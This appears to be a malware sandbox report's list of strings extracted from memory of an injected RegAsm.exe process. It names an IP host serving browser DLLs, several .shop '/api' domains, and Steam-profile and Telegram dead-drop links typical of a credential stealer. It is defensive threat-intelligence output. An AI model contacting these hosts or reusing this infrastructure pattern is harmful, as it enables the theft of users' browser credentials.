Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/A3
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/mozglue.dllO9x
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/nss3.dlla
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/softokn3.dlly9
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162/vcruntime140.dllw7_
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162GHCGI
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://5.75.211.162h;
Source: GCGHCB.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GCGHCB.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GCGHCB.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GCGHCB.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/api
Source: GCGHCB.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCGHCB.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCGHCB.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fragnantbui.shop/apie
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: IJEGDB.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/api2
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/apipi
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/pi
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/piz
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop:443/apirofiles/76561199724331900
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/api.
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.3002340946.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/api
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privac
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: JKKEHJ.3.dr	String found in binary or memory: https://support.mozilla.org
Source: JKKEHJ.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKKEHJ.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/api
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GCGHCB.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: GCGHCB.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3110452389.000000001BF0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKKEHJ.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
